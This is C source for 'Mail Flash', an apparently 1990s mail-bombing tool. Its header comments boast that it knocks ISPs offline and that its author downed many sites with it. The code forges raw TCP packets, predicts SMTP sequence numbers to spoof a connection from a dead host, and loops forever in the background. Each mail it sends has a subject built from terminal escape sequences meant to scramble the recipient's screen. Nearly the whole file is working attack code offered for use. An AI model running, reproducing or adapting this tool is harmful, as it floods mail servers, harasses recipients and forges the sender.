/* M0DDED OFF OF MY DIEXXX.C

  Mail Flash - (C) 1994 CHA0S All Rights Reserved
  
	Orignal file's purpose was to leave a gay little subject 
	mailflash.  This puppy will leave 120 a minute when ajusted 
	and will loop forever in the backround.. just run it and 
 	it'll do the rest.

					-- vectorX
	
	Mon, Jan 15, 1996, Added IP spoofing capabilities. New fakemail
	is really *FAKE*.

					-- vectorX

	This can kill ISP's btw if they have bad sendmail configurations.
	I downed many'a sites in my day from a 28k slip, and 10 of these 
	processes running at the same time to various netcom hosts.

*** Defines..

SPOOF - Site to send packets from.. As this code does not have syn flooding
	capabilities, and for speed purposes (maximum bombs/second), It work
	only if this site is unreachable.  I may add the option of SYN_FLOODING
	next version.

FROM_U - user@host/or name or person spoofing from.

*/  

/* Under Solaris try:
	gcc x.c -lsocket -lnsl -L/usr/ucblib -lucb
*/

#define SPOOF	"________.winternet.com"	/* Dead host */
#define FROM_U	"FATESUQZASS"			


#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <net/if.h>
#include <netinet/ip.h>
#ifdef sun
#include <netinet/tcp.h>
#else /* Linux */
#include <netinet/ip_tcp.h>
#endif
#include <errno.h>
#include <netdb.h>
 
unsigned long port=1076;
char *smtp_s, *to_u;

#ifdef sun
struct iphdr {
        u_char  version:4,                 /* version */
                ihl:4;                /* header length */
        u_char  tos;                 /* type of service */
        short   tot_len;                 /* total length */
        u_short id;                  /* identification */
        short   frag_off;                 /* fragment offset field */
        u_char  ttl;                 /* time to live */
        u_char  protocol;                   /* protocol */
        u_short check;                 /* checksum */
        unsigned long saddr, daddr; /* source and dest address */
};
#endif

/*
 * Pinched from ping.c
 * -------------------
 * in_cksum --
 *  Checksum routine for Internet Protocol family headers (C Version)
 */
unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);         /* add carry */
    answer = ~sum;              /* truncate to 16 bits */
    return(answer);
}

inline void printtcppacket(int r, char *buf, struct sockaddr_in *addr)
{
	struct iphdr *ip;
	struct tcphdr *tcp;
	int len=-1;

        printf("-------------------------------------------------------------------------------\n");
        /* IP */
        printf("Packet Size = %d\n",r);
        addr->sin_addr.s_addr = ntohl(addr->sin_addr.s_addr);
        ip = (struct iphdr *) buf;
        len = ip->ihl << 2;
	printf("IP Header\n");
	printf("---------\n");
        printf("length %d, version %d\n",len,ip->version);
	printf("tos %d, tot_len %d\n",ip->tos, ntohs(ip->tot_len));
	printf("id %d, frag_off %d, ttl %d, protocol %d\n",ntohs(ip->id),ntohs(ip->frag_off),
		ip->ttl, ip->protocol);
	printf("check %d\n",ntohs(ip->check));
	printf("IPFrom %s, ",inet_ntoa(ip->saddr));
	printf("IPTo %s\n",inet_ntoa(ip->daddr));
 
        /* TCP */
        tcp = (struct tcphdr *) (buf + len);
 
	printf("TCP Header\n");
	printf("----------\n");
        printf("SPort = %hu, DPort = %hu, SeqNum = %lu, AckNum = %lu\n",
                ntohs(tcp->th_sport), ntohs(tcp->th_dport),
                ntohl(tcp->th_seq), ntohl(tcp->th_ack));
	printf("x2 %d, off %d\n",tcp->th_x2,tcp->th_off);
 
        printf("Flags");
        if (!tcp->th_flags)
                printf(" none");
        else {
                if (tcp->th_flags & TH_FIN)
                        printf(" FIN");
                if (tcp->th_flags & TH_SYN)
                        printf(" SYN");
                if (tcp->th_flags & TH_RST)
                        printf(" RST");
                if (tcp->th_flags & TH_PUSH)
                        printf(" PUSH");
                if (tcp->th_flags & TH_ACK)
                        printf(" ACK");
                if (tcp->th_flags & TH_URG)
                        printf(" URG");
        }
        printf(".\n");
	printf("win %d, sum %d, urp 
%d\n",ntohs(tcp->th_win),ntohs(tcp->th_sum),ntohs(tcp->th_urp)); }
 
inline void gettcppacket(int s, char *buf, int size)
{
	struct sockaddr_in addr;
	struct iphdr *ip;
	struct tcphdr *tcp;
	int len, r;

	len = sizeof(addr);
	if ((r = recvfrom(s,buf,size,0,(struct sockaddr *) &addr,&len)) == -1) {
		perror("recvfrom");
		fprintf(stderr,"error: recvfrom returned %d\n",r);
		exit(1);
	}

	/*
	printtcppacket(r,buf,&addr);
	*/

}

inline void sendtcppacket(int s, unsigned long src, unsigned long dest, 
	struct sockaddr_in *addr,
	unsigned char flags, unsigned short sport, unsigned short dport, 
	unsigned long seqnum, unsigned long acknum, char *data, int datalen)
{

	struct iphdr ip;
	struct tcphdr tcp;
	static char packet[4096];
	char tcpbuf[4096];
	char *ptr;
	struct sockaddr sa;
	unsigned short size=0;
	int i;

	ip.ihl = 5;
	ip.version = 4;
	ip.tos = 0;
	ip.tot_len = htons(40 + datalen);
	ip.id = htons(666+(rand()%100));
	ip.frag_off = 0;
	ip.ttl = 255;
	ip.protocol = IPPROTO_TCP;
	ip.check = 0;
	ip.saddr = src;
	ip.daddr = dest;

	ip.check = in_cksum((char *)&ip,sizeof(ip));

	tcp.th_sport = htons(sport);
	tcp.th_dport = htons(dport);
	tcp.th_seq = htonl(seqnum);
	tcp.th_ack = htonl(acknum);
	tcp.th_x2 = 0;
	tcp.th_off = 5;
	tcp.th_flags = flags;
	tcp.th_win = htons(10052);
	tcp.th_sum = 0;
	tcp.th_urp = 0;

	/* Add in a pseudo IP header */
	memset(tcpbuf,0,4096);
	ptr = tcpbuf;
	memcpy(ptr,&(ip.saddr),8); /* Both saddr and daddr */
	ptr += 9; /* Skip the 0 field */
	memcpy(ptr,&(ip.protocol),1);
	ptr += 1;
	size = htons(datalen + sizeof(tcp));
	memcpy(ptr,&(size),2);
	ptr += 2;
	memcpy(ptr,&tcp,sizeof(tcp)+datalen);
	ptr += sizeof(tcp);
	memcpy(ptr,data,datalen);

	tcp.th_sum = in_cksum((char *)tcpbuf,sizeof(tcp)+12+datalen);

	memcpy(packet,(char *)&ip,sizeof(ip));
	memcpy(packet+sizeof(ip),(char *)&tcp,sizeof(tcp));
	memcpy(packet+sizeof(ip)+sizeof(tcp),(char *)data,datalen);

/*
	printtcppacket(sizeof(ip)+sizeof(tcp)+datalen,packet,addr);
*/
        sa.sa_family = AF_INET;
        strcpy(sa.sa_data,"ppp0");

	if (sendto(s,packet,sizeof(ip)+sizeof(tcp)+datalen,0,
		(struct sockaddr *)&sa, sizeof(struct sockaddr_in)) == -1) {
		perror("sendto");
		exit(1);
	}

}

void determine_sequence(int s, int r, unsigned long src, unsigned long dest,
	struct sockaddr_in *addr,
	unsigned long *next_seq, unsigned long *offset)
{
    struct iphdr *ip;
    struct tcphdr *tcp;
    int i, len;
    unsigned long start_seq=123456+getpid();
    char buf[4096];
    unsigned long prev_seq=0, diff=0;
    unsigned short biff=0; 

    *offset=0;

	for (i=0;i<1;i++) {
		sendtcppacket(s,src,dest,addr,TH_SYN,port,25,start_seq,0,NULL,0);
		for (;;) {
			gettcppacket(r,buf,sizeof(buf));
			ip = (struct iphdr *) buf;
			if (ip->saddr != dest)
				continue;
			/*
			printtcppacket(sizeof(buf),buf,addr);
			*/
			len = ip->ihl << 2;
			tcp = (struct tcphdr *) (buf+len);
            if (ntohs(tcp->th_dport)==port &&
                ntohs(tcp->th_sport)==25) {
                    diff=htonl(tcp->th_seq);
		    biff=htons(tcp->th_win);
		    sendtcppacket(s,src,dest,addr,TH_RST,port,25,start_seq,0,NULL,0);
                    break; /* out of for loop */
                }
        }
    }
    *next_seq=diff;
}

void spoof(int s, unsigned long src, unsigned long dest,
	struct sockaddr_in *addr, unsigned long next_seq)
{
    char buf[4096];
    char str[255], shake[1024], *string;
    int stringlen=0;
    u_long seq=31337879;
    int i;

    /* Send a syn with our own sequence number */
	sendtcppacket(s,src,dest,addr,TH_SYN,port,25,seq,0,NULL,0);
    usleep(10000); /* wait for the other side to SYN,ACK */
    	sendtcppacket(s,src,dest,addr,TH_ACK,port,25,++seq,++next_seq,NULL,0);
    usleep(5000); /* wait for the other side to SYN,ACK */ 
    sprintf(str,"helo a\nmail from: %s\nrcpt to: %s\ndata\nSUBJECT: \033c\033(0\033#8\033[1;3r\033[J\033[5m\033[?5h**B00\n.\nquit\n",FROM_U,to_u);
    stringlen = strlen(str); 
    for (i=0;i<5;i++) {
	sendtcppacket(s,src,dest,addr,TH_ACK|TH_PUSH,port,25,seq,next_seq,str,stringlen);
        seq+=stringlen;
        usleep(5000); /* wait for the other side to SYN,ACK */ 
    }
    sprintf(str,"\nquit\n");
    stringlen = strlen(str); 
  	sendtcppacket(s,src,dest,addr,TH_ACK|TH_PUSH,port,25,seq,next_seq,str,stringlen);
    seq+=stringlen;
    sleep(1);
    sendtcppacket(s,src,dest,addr,TH_RST,port,25,seq,0,NULL,0);
}

int openintf(char *d)
{
   int fd;
   struct ifreq ifr;
   int s;
   fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
   if(fd < 0)
   {
      perror("cant get SOCK_PACKET socket");
      exit(0);
   }
   strcpy(ifr.ifr_name, d);
   s=ioctl(fd, SIOCGIFFLAGS, &ifr);
#ifdef IF_PROMISC
   if(s < 0)
   {
      close(fd);
      perror("cant get flags");
      exit(0);
   }
   ifr.ifr_flags |= IFF_PROMISC;
   s=ioctl(fd, SIOCSIFFLAGS, &ifr);
   if(s < 0) perror("cant set promiscuous mode");
#endif
   return fd;
}


void main(int argc, char *argv[])
{

	int rec, sen, i=1, adder=128000;
	unsigned char buf[4096];
	struct sockaddr_in addr, spoofedaddr;
	char *nickn, *userid, *channel, *ircname, *shit;
	unsigned long dest, spoofed, src, nseq, offset, tarport;
	struct hostent *host;
	unsigned long seq_num[80], port_num[80];
  	struct hostent *hp;

	if (argc != 4) {
		fprintf(stderr,"Usage: %s <to_user> <smtp server> {1|2}\n",argv[0]);
		exit(1);
	}

	to_u = argv[1];
	smtp_s = argv[2];

  if (fork()) exit(0);

	memset(&spoofedaddr,0,sizeof(spoofedaddr));
	spoofedaddr.sin_family = AF_INET;
	if ((spoofedaddr.sin_addr.s_addr = inet_addr(SPOOF)) == -1) {
		if ((host = gethostbyname(SPOOF)) == NULL) {
			printf("Unknown host %s.\n",SPOOF);
			exit(1);
		}
		spoofedaddr.sin_family = host->h_addrtype;
		memcpy((caddr_t) &spoofedaddr.sin_addr,host->h_addr,host->h_length);
	}
	memcpy(&spoofed,(char *)&spoofedaddr.sin_addr.s_addr,4);

	memset(&addr,0,sizeof(addr));
	addr.sin_family = AF_INET;
	if ((addr.sin_addr.s_addr = inet_addr(smtp_s)) == -1) {
		if ((host = gethostbyname(smtp_s)) == NULL) {
			printf("Unknown host %s.\n",smtp_s);
			exit(1);
		}
		addr.sin_family = host->h_addrtype;
		memcpy((caddr_t) &addr.sin_addr,host->h_addr,host->h_length);
	}
	memcpy(&dest,(char *)&addr.sin_addr.s_addr,4);

	if ((rec = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
		perror("error: recv socket");
		exit(1);
	}
/*
	if ((sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
		perror("error: send socket");
		exit(1);
	}
*/
	
	sen = openintf("ppp0");
	 
#ifdef IP_HDRINCL
	fprintf(stderr,"IP_HDRINCL is set\n");
	if (setsockopt(sen,IPPROTO_IP,IP_HDRINCL,(char *)&i,sizeof(i)) < 0) {
		perror("setsockopt IP_HDRINCL");
		exit(1);
	};
#endif

	gethostname(buf, 128);
	if ((host=gethostbyname(buf))==NULL) {
		fprintf(
stderr, "Can't get my hostname!?\n");
		exit(1);
	}
	memcpy(&src,host->h_addr,4);
        if (argv[3][0] == '2') adder=64000;

  while(1) {
	port++;
	determine_sequence(sen, rec, src, dest, &addr, &nseq, &offset);
	spoof(sen, spoofed, dest, &addr, nseq+adder); 
  }

}
/*
*/
